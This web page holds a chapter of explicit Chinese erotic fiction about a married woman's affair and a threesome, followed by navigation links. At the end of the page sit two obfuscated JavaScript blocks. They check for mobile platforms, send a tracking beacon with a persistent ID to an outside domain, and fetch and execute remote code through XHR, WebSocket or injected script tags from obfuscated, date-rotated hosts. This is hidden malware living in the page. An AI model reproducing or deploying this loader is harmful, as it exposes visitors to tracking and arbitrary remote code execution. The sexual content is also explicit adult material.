虽然周倩语焉不详,端木阳倒是心有灵犀。他搂着怀里的周倩翻了个身,让周倩两腿朝天仰躺在沙发上,然后压了下去。说是压着,其实他并没有把身体重量真的施加到周倩身上,而是抱起她,一手扶着她的后背,一手托着她的臀肉。 “嗯嗯……”周倩要的正是这种感觉,她的两条细长而不失丰腴的胳膊马上就从两边抱住了端木阳结实的背肌,大腿张开,盘在端木阳腰上,小腿缠着他的身体。

“哈,不错!”杜莹莹不放过取笑周倩的机会,同时伸手抓住了端木阳的肉棒,把龟头压在周倩的阴唇上滑动了几下,“倩倩,怎么样,喜欢不?”

周倩早就想要了,这会蜜穴口终于感觉到了端木阳滚烫的龟头,变得更加心急如焚,叫道:“快放进去!”

“哈哈,小色女!你的大鸡巴哥哥来咯!”杜莹莹巧笑着,手指一拨,端木阳的肉棒对准了周倩水流不止的穴口,“噗哧”一声就钻了进去!

“啊!”周倩一声尖叫,空虚的阴道膣腔瞬间被端木阳粗壮的阳具充满。她把端木阳抱得更紧了,纤腰扭动,主动迎合着端木阳的抽插。

“爽了吧?哈哈,好多水!”杜莹莹一手扶着端木阳的腰身,为他们加油助威。

相比旁观的杜莹莹,周倩和端木阳倒是安静多了。端木阳只是凝视着周倩的面庞,扶着她的臀瓣和后背,下体有节奏地抽插着那娇嫩的小穴。而周倩也没有像平时做爱时那样大声浪叫,只是不时从鼻息中发出“嗯嗯嗯”的呻吟。

两个人就这样越抱越紧,周倩的翘乳不住地挤在端木阳的胸膛上,乳头硬硬地刮擦着。周倩越发喜欢这种姿势,大腿牢牢缠住端木阳,让他插得更深更透,让自己的小穴内刮起一阵阵海啸般的快感浪潮。

“嗯啊,好棒,人家要到了!给我,快给我!”一直只是闷哼的周倩突然叫出声来,此时她几乎已经从沙发上悬空而起了。端木阳托着她的两瓣肉臀,又一次感应到了周倩花心的强大吸附力,他粗喘着,迎合了周倩的唿唤,让火热的熔岩般的精液迸射进周倩的子宫口。

“唔……”周倩闭上了眼睛,娇躯像是被抽掉了骨头,软软地、黏黏地,仿佛藤蔓一样缠在端木阳身上。

“好了啦,倩倩,要不要在这吃晚饭?”也不知这样缠绵了多久,周倩被杜莹莹从出神的状态中唤醒。

“啊?吃饭?不要,我回公司。”周倩一时间无法适应回到现实的滋味。 “那先去冲个澡吧?要不要端木哥和你一起鸳鸯浴?”杜莹莹笑问。

“才不要!”周倩有点狼狈地起身进了浴室,身上的雪纺衬衫不知什么时候已经在和端木阳做爱的时候脱掉了,现在她身上只有挂在大腿上的小内裤。可这小内裤已经湿透了,等下难道还穿回去?

周倩这时候一个人在小空间内独处,才算是真正清醒了点。从被端木阳、杜莹莹合伙骗来开始到被杜莹莹挑逗,再到被端木阳舔穴,直到最后,当着杜莹莹的面和端木阳做爱。这一幕幕场景,周倩有点不敢回顾。

她不得不承认:在压抑了这么久之后,刚才那次做爱体验真的很棒。端木阳在被杜莹莹那个骚货折腾那么久之后,还能把自己送上高潮,也真算奇迹了。而且,他最后全部射给了自己,这也让周倩有些暗自得意。不过,我应该这样吗? 周倩打了个寒颤,不管她现在对李冰河的感觉有怎样的变化,但是她毕竟身为人妻,竟然和另外一个女人兴高采烈地分享情夫,这正常吗?

周倩不敢再想下去,她匆忙地冲完澡,裹着浴巾出来。杜莹莹迎上来递给她一个袋子,“在楼下超市买的衣服和袜子,你看能将就不?”

周倩万万没想到杜莹莹这么体贴,忙千恩万谢。她突然发现端木阳并不在房间里,就当着杜莹莹的面把衣服换好。杜莹莹似乎看出她内心的嘀咕,说:“你直接去一楼吧,端木在楼下开好了车等你。”

端木阳要亲自送自己回去?又是一个意外。杜莹莹观察着周倩的表情,突然问:“倩倩,刚才很爽吧?”

周倩不知道该怎么回答,“还不都是你害我。”

“我害你?刚才你舒服的时候可没说我害你!”杜莹莹眨着眼睛,“说真的,我是不是很大方?要是换做你,你肯定不乐意和我分享吧?”

这话周倩就更不知道怎么回答了。不过杜莹莹确实说得对,如果出自她的本意,她宁可是自己独自霸占那个男人。杜莹莹就当她是默许了,笑着说:“倩倩啊,有时候我觉得你真是太纯了。其实哪个有本事的男人不是在外面花天酒地? 德伦是这样,你家冰河难道不是吗?我们女人凭什么就要从一而终?趁着自己年轻,多享受享受有什么不对?”

“唔……”和以前一样,周倩无法认同杜莹莹的观点,不过此刻的她显然没什么底气去反驳。

“呵呵,倩倩,我知道你看不起我。不过,说真的,也正是我这样的女人,男人才会真的喜欢。我要是跟你这样喜欢吃醋,端木就不会要我当情人了。”杜莹莹得意地说。

周倩的心里一个翻腾,“你?你经常帮他找女人?”

这个他,当然是端木阳。杜莹莹无所谓地耸耸肩,“当然啊,只要他喜欢。” 难道真是自己太迂腐了吗?端木阳就是因为自己爱吃醋才不要自己的吗?我吃醋,不是说明我在乎他吗?不过,我自己也是有老公的人,有什么资格吃醋呢? 周倩想不清楚,干脆说:“我下楼去。”

“嗯,下次我再找你一起玩哈。”杜莹莹抱了抱周倩。

周倩不知道该怎么回答,匆匆逃走,来到宾馆门口,端木阳果然很快把车开了过来。周倩本来有无数的话想在和端木阳独处时讲,这会却不知从何说起。当她好不容易鼓足勇气要开口的时候,偏偏手机响了。她以为是公司找自己,赶紧拿起来,却是丈夫李冰河的电话:“倩倩啊,等会下班我去接你哈,马督察请我们吃饭。”

“啊……好吧。”周倩看了一眼时间,心里不由打起鼓来。现在已经是临近下班的时间,很可能丈夫会看到端木阳送自己回去她踌躇了一会,拉了拉端木阳的衣袖说:“怎么好意思麻烦你亲自送我?我打车回去就好。”

“好吧。”端木阳把车停在路边。周倩本以为端木阳会坚持送自己,那时候她会很为难。可是端木竟然如此痛快,她反倒倍感失落。她突然明白了,端木阳已经从刚才自己接的电话中察觉到什么。

“端木?”

“怎么了?”

“噢,没什么,我该走了。”周倩不知该怎么说,慌张地下了车。

周倩刚到公司门口下车就看到丈夫李冰河的车开了过来,不由暗自后怕。她让李冰河等一会,自己上楼去准备和同事们打了招唿,然后打卡下班。周倩之所以这样做,是她心细的一面所致。尽管她是被公司领导派出去外勤,但是她不想引来风言风语,这才特意要在下班前赶回来。

不过,等周倩收拾好了要走,她最腻歪的女同事高娜突然凑了过来。两人除了上班时间的工作关系,私下几乎没有任何往来,周倩有点迷惑地看看走近的高娜,高娜却一脸灿烂:“倩倩姐,回来了啊。今天我去你家附近那边吃饭呢,要不要我送你一程?”

周倩摇摇头,“谢谢你,不过不用了,我老公在楼下等我呢。”

“真是你老公吗?咦,没看到警车啊?”高娜装模作样地探头往外面看。 周倩听不惯高娜的阴阳怪气,随口说:“呵呵,一起下去吧。”

“好啊。”高娜倒是见杆就爬。

周倩心里更加不自在,难道这小骚包知道什么?果然,两人刚走到走廊上,高娜就冲周倩眨着眼睛说:“那位端木先生,真的好酷噢。”

周倩佯作平静,“还好吧。”

“嘻嘻,什么叫还好啊?我看他啊,肯定很讨女人喜欢。”高娜继续说怪话。 “是吗?”周倩真心腻歪她。

“当然啊,看看倩倩姐就知道了。”高娜贼笑。

“我?我只是工作,我怎么会知道这些有的没的。”周倩真想发脾气。

“哈哈,工作吗?工作需要换丝袜吗?”高娜突然笑出声。

周倩这才明白高娜在暗示什么,自己出门的时候穿的肉色丝袜早给端木阳撕破了,杜莹莹后来给买的是条黑丝袜。周倩冷冷说:“谢谢关心,那条袜子在车上刮破了,我换了一条备用的。”

“噢?真是刮破的?只怕是……嘻嘻。”高娜显然不信。

对于高娜的这点无凭无据的小聪明,周倩自然不太怕,她紧走几步,走向丈夫的车,“我老公等急了,我先走哈。”

高娜目送着周倩上了车,看清车上的人果然不是端木阳,不由有些失望地摇了摇头。


上一篇:媚者无疆

下一篇:我与隔壁女邻居的故事


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};